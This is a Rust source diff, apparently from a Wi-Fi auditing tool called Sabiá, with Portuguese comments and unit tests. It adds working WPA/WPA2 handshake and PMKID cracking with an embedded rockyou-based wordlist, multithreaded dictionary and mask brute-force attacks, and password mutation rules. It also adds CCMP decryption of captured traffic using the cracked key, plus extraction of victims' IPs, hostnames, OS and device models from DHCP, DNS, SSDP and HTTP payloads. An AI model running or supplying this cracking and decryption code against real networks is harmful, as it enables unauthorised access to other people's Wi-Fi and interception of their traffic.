0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
0xc5, 0x5a,
];
let cipher = Aes128::new(&key.into());
let mut block = plaintext.into();
cipher.encrypt_block(&mut block);
assert_eq!(block.as_slice(), &expected);
}
/// Round-trip de auto-consistência: decifrar um texto que a própria
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
/// simétrico) tem que devolver o original. Isso pega bug de indexação
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
#[test]
fn ctr_round_trip_recovers_plaintext() {
let tk = [0x42u8; 16];
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
let mut nonce = [0u8; 13];
nonce[0] = 3; // TID
nonce[1..7].copy_from_slice(&transmitter);
nonce[7] = header[7];
nonce[8] = header[6];
nonce[9] = header[5];
nonce[10] = header[4];
nonce[11] = header[1];
nonce[12] = header[0];
let cipher = Aes128::new(&tk.into());
let mut ciphertext = Vec::with_capacity(plaintext.len());
let mut counter: u16 = 1;
for chunk in plaintext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01;
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (p, k) in chunk.iter().zip(keystream.iter()) {
ciphertext.push(p ^ k);
}
counter = counter.wrapping_add(1);
}
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
let mut body = Vec::new();
body.extend_from_slice(&header);
body.extend_from_slice(&ciphertext);
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
assert_eq!(out, plaintext);
}
#[test]
fn rejects_body_without_extiv_bit() {
let tk = [0u8; 16];
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
#[test]
fn rejects_body_too_short() {
let tk = [0u8; 16];
let body = [0u8; 10];
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
}
+313 -28
View File
@@ -15,13 +15,17 @@ use crate::dot11::parse_mac;
use crate::error::{Result, SabiaError};
use crate::handshake::Handshake;
use crate::pcapreader::PcapReader;
use crate::rules::Mask;
use crate::scan::ScanTable;
use flate2::read::GzDecoder;
use hmac::{Hmac, Mac};
use md5::Md5;
use sha1::Sha1;
use std::fs::File;
use std::io::{BufRead, BufReader};
use std::io::{BufRead, BufReader, Read};
use std::path::Path;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::{LazyLock, Mutex};
use std::time::Instant;
type HmacSha1 = Hmac<Sha1>;
@@ -29,6 +33,37 @@ type HmacMd5 = Hmac<Md5>;
const WPA_ITERATIONS: u32 = 4096;
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
/// binário em vez de ~101MB.
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
pub const DEFAULT_WORDLIST_SOURCE: &str =
"Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full";
static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
let mut out = String::new();
GzDecoder::new(DEFAULT_WORDLIST_GZ)
.read_to_string(&mut out)
.expect("dicionário embutido corrompido");
out
});
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
/// mais completa que o Sabiá consegue embutir sem exigir download —
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
pub fn default_wordlist() -> &'static str {
&DEFAULT_WORDLIST_CACHE
}
#[derive(Debug, Clone)]
pub struct CrackTarget {
pub ssid: String,
@@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
}
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
/// (64 caracteres, como no hashcat/aircrack).
fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
return hex_to_32(candidate.as_bytes());
}
@@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
let iterations = iterations.max(1);
let mut out = Vec::with_capacity(out_len);
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut block: u32 = 1;
while out.len() < out_len {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(salt);
mac.update(&block.to_be_bytes());
let mut u = mac.finalize().into_bytes();
let mut t = u;
for _ in 1..iterations {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(&u);
u = mac.finalize().into_bytes();
for (a, b) in t.iter_mut().zip(u.iter()) {
@@ -272,16 +314,26 @@ fn valid_candidate(candidate: &str) -> bool {
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
}
/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número
/// de candidatos já processados.
pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
/// cada candidato é independente — ganho quase linear com o número de
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
/// por isso é opt-in.
pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
target: &CrackTarget,
mut wordlist: R,
apply_rules: bool,
mut progress: F,
) -> CrackReport {
let start = Instant::now();
let mut tried = 0u64;
let mut password = None;
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
// contíguos por thread (melhor localidade de cache que round-robin) e o
// próprio dicionário embutido cabe de sobra em memória.
let mut candidates: Vec<String> = Vec::new();
let mut line = String::new();
loop {
line.clear();
@@ -294,20 +346,62 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
if candidate.is_empty() {
continue;
}
tried += 1;
if apply_rules {
candidates.extend(crate::rules::expand(candidate));
} else {
candidates.push(candidate.to_string());
}
}
let total = candidates.len();
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1));
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
for part in candidates.chunks(chunk) {
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for candidate in part {
if stop.load(Ordering::Relaxed) {
return;
}
if valid_candidate(candidate) && target.verify(candidate) {
password = Some(candidate.to_string());
*found.lock().unwrap() = Some(candidate.clone());
stop.store(true, Ordering::Relaxed);
return;
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
}
// Thread "repórter": roda dentro do mesmo scope só pra poder
// emprestar `progress` (FnMut, chamado de um único lugar).
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n as usize >= total {
break;
}
if tried % 128 == 0 {
progress(tried);
}
}
progress(tried);
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password,
tried,
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
@@ -316,26 +410,52 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
}
}
pub fn crack_handshake<F: FnMut(u64)>(
pub fn crack_handshake<F: FnMut(u64) + Send>(
hs: &Handshake,
wordlist: impl AsRef<Path>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = CrackTarget::from_handshake(hs).ok_or_else(|| {
let target = target_for(hs)?;
let file = File::open(wordlist)?;
Ok(crack_reader(
&target,
BufReader::new(file),
apply_rules,
progress,
))
}
/// Quebra usando a lista embutida.
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
hs: &Handshake,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_reader(
&target,
std::io::Cursor::new(default_wordlist().as_bytes()),
apply_rules,
progress,
))
}
fn target_for(hs: &Handshake) -> Result<CrackTarget> {
CrackTarget::from_handshake(hs).ok_or_else(|| {
SabiaError::InvalidInput(
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
)
})?;
let file = File::open(wordlist)?;
Ok(crack_reader(&target, BufReader::new(file), progress))
})
}
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
pub fn crack_pcap<F: FnMut(u64)>(
pub fn crack_pcap<F: FnMut(u64) + Send>(
pcap: impl AsRef<Path>,
wordlist: impl AsRef<Path>,
bssid: Option<&str>,
station: Option<&str>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let mut reader = PcapReader::open(pcap)?;
@@ -351,7 +471,89 @@ pub fn crack_pcap<F: FnMut(u64)>(
let hs = table
.first_crackable(bssid, station)
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
crack_handshake(hs, wordlist, progress)
crack_handshake(hs, wordlist, apply_rules, progress)
}
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
/// combinação possível, sem depender de dicionário. Mesma paralelização por
/// threads do `crack_reader`, mas gerando candidatos por índice (base
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
/// milhões/bilhões de combinações sem estourar RAM.
pub fn crack_mask<F: FnMut(u64) + Send>(
target: &CrackTarget,
mask: &Mask,
mut progress: F,
) -> CrackReport {
let start = Instant::now();
let total = mask.total().unwrap_or(0);
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1) as usize) as u64;
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
let mut from = 0u64;
while from < total {
let to = (from + chunk).min(total);
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for i in from..to {
if stop.load(Ordering::Relaxed) {
return;
}
if let Some(candidate) = mask.candidate(i) {
if valid_candidate(&candidate) && target.verify(&candidate) {
*found.lock().unwrap() = Some(candidate);
stop.store(true, Ordering::Relaxed);
return;
}
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
from = to;
}
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n >= total {
break;
}
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
station: Some(crate::dot11::mac_to_string(&target.station)),
method: Some(target.method().to_string()),
}
}
/// Quebra por máscara a partir de um handshake já montado.
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
hs: &Handshake,
mask: &Mask,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_mask(&target, mask, progress))
}
#[cfg(test)]
@@ -360,6 +562,47 @@ mod tests {
use crate::testutil::{handshake_frames, synthetic_handshake};
use std::io::Cursor;
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
#[test]
#[ignore]
fn bench_default_wordlist_decompress() {
let start = Instant::now();
let text = default_wordlist();
let elapsed = start.elapsed();
eprintln!(
"descomprimiu {} linhas em {:.2?}",
text.lines().count(),
elapsed
);
}
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
/// de performance. `cargo test --release -p sabia-core -- --ignored
/// --nocapture bench_crack_throughput`.
#[test]
#[ignore]
fn bench_crack_throughput() {
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
// objetivo aqui é medir candidatos/s, não o tempo total.
let sample: String = default_wordlist()
.lines()
.take(500_000)
.collect::<Vec<_>>()
.join("\n");
let start = Instant::now();
let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {});
let elapsed = start.elapsed();
let per_sec = report.tried as f64 / elapsed.as_secs_f64();
eprintln!(
"{} candidatos em {:.2?} = {:.1}/s",
report.tried, elapsed, per_sec
);
}
#[test]
fn pbkdf2_matches_rfc6070_vector() {
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
@@ -386,6 +629,7 @@ mod tests {
let report = crack_reader(
&target,
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
false,
|_| progress_calls += 1,
);
assert_eq!(report.password.as_deref(), Some("password"));
@@ -400,7 +644,12 @@ mod tests {
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
assert_eq!(target.method(), "PMKID");
let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"nada\npassword\n".to_vec()),
false,
|_| {},
);
assert_eq!(report.password.as_deref(), Some("password"));
}
@@ -417,10 +666,46 @@ mod tests {
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"senha-errada\n".to_vec()),
false,
|_| {},
);
assert!(report.password.is_none());
}
#[test]
fn rules_find_a_mutated_variant_not_present_verbatim() {
// A senha de verdade é "wifi12345" — não está na lista, mas é um
// sufixo numérico de "wifi" que `rules::expand` gera.
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {});
assert!(without_rules.password.is_none());
let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {});
assert_eq!(with_rules.password.as_deref(), Some("wifi12345"));
}
#[test]
fn mask_crack_finds_a_numeric_password() {
// Máscara minúscula de propósito (só 10 combinações): cada candidato
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
// não pra um teste unitário que roda em `cargo test` toda hora.
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let mask = Mask::parse("wifiabc?d").expect("máscara válida");
assert_eq!(mask.total(), Some(10));
let report = crack_mask(&target, &mask, |_| {});
assert_eq!(report.password.as_deref(), Some("wifiabc7"));
assert!(report.tried > 0);
}
fn hex_bytes(s: &str) -> Vec<u8> {
(0..s.len())
.step_by(2)
+807 -1
View File
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
pub akm: Vec<String>,
pub wps: bool,
pub pmf: bool,
pub pmf_required: bool,
pub country: Option<String>,
pub beacon_interval: Option<u16>,
pub privacy: bool,
pub phy: Vec<String>,
pub width_mhz: Option<u16>,
pub wps_locked: Option<bool>,
pub wps_version: Option<String>,
pub wps_manufacturer: Option<String>,
pub wps_model: Option<String>,
pub wps_model_number: Option<String>,
pub wps_device_name: Option<String>,
pub wps_serial: Option<String>,
}
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
#[derive(Debug, Clone, Default)]
pub struct PayloadInfo {
pub ip: Option<String>,
pub hostname: Option<String>,
pub os: Option<String>,
pub device: Option<String>,
pub manufacturer: Option<String>,
pub model: Option<String>,
pub service: Option<String>,
}
#[derive(Debug, Clone, Copy, Default)]
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
let mut wpa1_present = false;
let mut rsn = RsnInfo::default();
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
&& self.body.len() >= 24 + 12
{
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
}
info.privacy = privacy;
let mut i = 0usize;
while i + 2 <= ies.len() {
let tag = ies[i];
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
7 if len >= 2 => {
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
}
45 => {
add_phy(&mut info.phy, "n");
if info.width_mhz.is_none() {
info.width_mhz = Some(20);
}
}
48 => {
rsn_present = true;
if let Some(parsed) = parse_rsn(val) {
rsn = parsed;
}
}
61 if len >= 2 => {
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
}
}
191 => add_phy(&mut info.phy, "ac"),
192 if !val.is_empty() => {
add_phy(&mut info.phy, "ac");
info.width_mhz = Some(match val[0] {
1 => 80,
2 => 160,
3 => 80,
_ => info.width_mhz.unwrap_or(20),
});
}
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
1 => wpa1_present = true,
4 => info.wps = true,
4 => {
info.wps = true;
parse_wps(val, &mut info);
}
_ => {}
},
255 if !val.is_empty() => match val[0] {
35 | 36 => add_phy(&mut info.phy, "ax"),
106 | 108 => add_phy(&mut info.phy, "be"),
_ => {}
},
_ => {}
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
}
info.pmf = rsn.caps & 0x00c0 != 0;
info.pmf_required = rsn.caps & 0x0040 != 0;
if rsn_present {
info.cipher = rsn.cipher.map(|c| c.label().to_string());
info.akm = rsn.akm.labels();
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
let end = (start + 4 + len).min(self.body.len());
self.body.get(start..end)
}
/// Tenta identificar a estação por payload não criptografado. Só olha
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
/// + [`payload_info_from_llc`]).
pub fn payload_info(&self) -> PayloadInfo {
if self.protected || !self.kind.is_data() {
return PayloadInfo::default();
}
let Some(payload) = self.body.get(self.header_len..) else {
return PayloadInfo::default();
};
payload_info_from_llc(payload)
}
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
pub fn qos_tid(&self) -> Option<u8> {
if !self.kind.is_data() {
return None;
}
let subtype = (self.fc >> 4) & 0b1111;
if subtype & 0x8 == 0 {
return None;
}
let mut offset = 24;
if self.to_ds && self.from_ds {
offset += 6;
}
self.body.get(offset).map(|b| b & 0x0f)
}
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
if !self.protected || !self.kind.is_data() {
return None;
}
let transmitter = self.addr2?;
let tid = self.qos_tid().unwrap_or(0);
let body = self.body.get(self.header_len..)?;
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
}
}
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
/// com a TK conhecida.
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
let mut info = PayloadInfo::default();
let Some(llc) = payload.get(..8) else {
return info;
};
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
return info;
}
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
let Some(rest) = payload.get(8..) else {
return info;
};
match ethertype {
0x0806 => parse_arp(rest, &mut info),
0x0800 => parse_ipv4(rest, &mut info),
_ => {}
}
info
}
fn ipv4_string(bytes: &[u8]) -> Option<String> {
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
}
fn private_ip(ip: &str) -> bool {
let mut parts = ip.split('.');
let (Some(a), Some(b)) = (
parts.next().and_then(|p| p.parse::<u8>().ok()),
parts.next().and_then(|p| p.parse::<u8>().ok()),
) else {
return false;
};
a == 10
|| (a == 172 && (16..=31).contains(&b))
|| (a == 192 && b == 168)
|| (a == 169 && b == 254)
|| (a == 100 && (64..=127).contains(&b))
}
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 28
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|| payload[4] != 6
|| payload[5] != 4
{
return;
}
if let Some(ip) = ipv4_string(&payload[14..18]) {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 20 || payload[0] >> 4 != 4 {
return;
}
let ihl = ((payload[0] & 0x0f) as usize) * 4;
if ihl < 20 || payload.len() < ihl {
return;
}
let protocol = payload[9];
let src = ipv4_string(&payload[12..16]);
let dst = ipv4_string(&payload[16..20]);
if let Some(ip) = &src {
if private_ip(ip) {
info.ip = Some(ip.clone());
}
}
match protocol {
17 => {
let udp = &payload[ihl..];
if udp.len() < 8 {
return;
}
let sport = u16::from_be_bytes([udp[0], udp[1]]);
let dport = u16::from_be_bytes([udp[2], udp[3]]);
let data = &udp[8..];
if sport == 68 || dport == 67 {
parse_dhcp(data, info);
} else if sport == 5353 || dport == 5353 {
parse_dns(data, info, true);
} else if sport == 53 || dport == 53 {
parse_dns(data, info, false);
} else if sport == 1900 || dport == 1900 {
parse_ssdp(data, info);
} else if let Some(ip) = &dst {
if info.ip.is_none() && private_ip(ip) {
info.ip = Some(ip.clone());
}
}
}
6 => {
let tcp = &payload[ihl..];
if tcp.len() < 20 {
return;
}
let data_offset = ((tcp[12] >> 4) as usize) * 4;
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
if data_offset >= 20 && tcp.len() > data_offset {
let data = &tcp[data_offset..];
if matches!(sport, 80 | 8080 | 8000 | 8888)
|| matches!(dport, 80 | 8080 | 8000 | 8888)
{
parse_http(data, info);
}
}
}
_ => {}
}
}
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
return;
}
let mut requested_ip = None;
let mut message_type = None;
let mut pos = 240usize;
while pos < data.len() {
let code = data[pos];
if code == 255 {
break;
}
if code == 0 {
pos += 1;
continue;
}
if pos + 1 >= data.len() {
break;
}
let len = data[pos + 1] as usize;
let start = pos + 2;
if start + len > data.len() {
break;
}
let val = &data[start..start + len];
match code {
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
50 if len >= 4 => requested_ip = ipv4_string(val),
53 if len == 1 => message_type = Some(val[0]),
60 => {
let vendor = String::from_utf8_lossy(val).trim().to_string();
if let Some(os) = os_from_text(&vendor) {
info.os = Some(os);
}
if let Some(device) = device_from_text(&vendor) {
info.device = Some(device);
}
}
81 => {
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
if !name.is_empty() {
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
}
}
_ => {}
}
pos = start + len;
}
if message_type == Some(3) {
if let Some(ip) = requested_ip {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
if info.hostname.as_deref() == Some("") {
info.hostname = None;
}
if let Some(hostname) = info.hostname.as_deref() {
if info.device.is_none() {
info.device = device_from_text(hostname);
}
if info.os.is_none() {
info.os = os_from_text(hostname);
}
}
}
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
let mut labels = Vec::new();
let mut jumps = 0usize;
let mut end = pos;
let mut jumped = false;
while pos < data.len() && jumps < 16 {
let len = data[pos];
if len == 0 {
if !jumped {
end = pos + 1;
}
break;
}
if len & 0xc0 == 0xc0 {
if pos + 1 >= data.len() {
return None;
}
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
if !jumped {
end = pos + 2;
}
pos = ptr;
jumps += 1;
jumped = true;
continue;
}
let len = len as usize;
if pos + 1 + len > data.len() {
return None;
}
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
pos += 1 + len;
if !jumped {
end = pos;
}
}
if labels.is_empty() {
None
} else {
Some((labels.join("."), end))
}
}
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
if data.len() < 12 {
return;
}
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
let mut pos = 12usize;
for _ in 0..qd {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
pos = next + 4;
apply_dns_name(&name, info, mdns);
}
for _ in 0..an.min(24) {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
if next + 10 > data.len() {
return;
}
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
let rdata = next + 10;
if rdata + rdlen > data.len() {
return;
}
if kind == 1 && rdlen == 4 {
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
info.ip = Some(ip);
}
}
}
if kind == 16 {
parse_txt(&data[rdata..rdata + rdlen], info);
}
apply_dns_name(&name, info, mdns);
pos = rdata + rdlen;
}
if let Some(ip) = &info.ip {
if !private_ip(ip) {
info.ip = None;
}
}
}
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
let lower = name.to_ascii_lowercase();
if let Some(service) = lower.strip_prefix('_') {
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
return;
}
if mdns && lower.ends_with(".local") {
let host = name.split('.').next().unwrap_or(name);
if !host.is_empty() {
info.hostname = Some(host.to_string());
if let Some(device) = device_from_text(host) {
info.device = Some(device);
}
if let Some(os) = os_from_text(host) {
info.os = Some(os);
}
}
}
}
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
let mut pos = 0usize;
while pos < data.len() {
let len = data[pos] as usize;
pos += 1;
if pos + len > data.len() {
break;
}
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
pos += len;
let mut parts = txt.splitn(2, '=');
let key = parts.next().unwrap_or("").to_ascii_lowercase();
let value = parts.next().unwrap_or("");
match key.as_str() {
"model" | "md" => info.model = Some(value.to_string()),
"os" => info.os = Some(value.to_string()),
"device" | "product" => info.device = Some(value.to_string()),
_ => {}
}
}
}
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
for line in text.lines() {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_uppercase();
let value = value.trim();
match key.as_str() {
"SERVER" | "USER-AGENT" => {
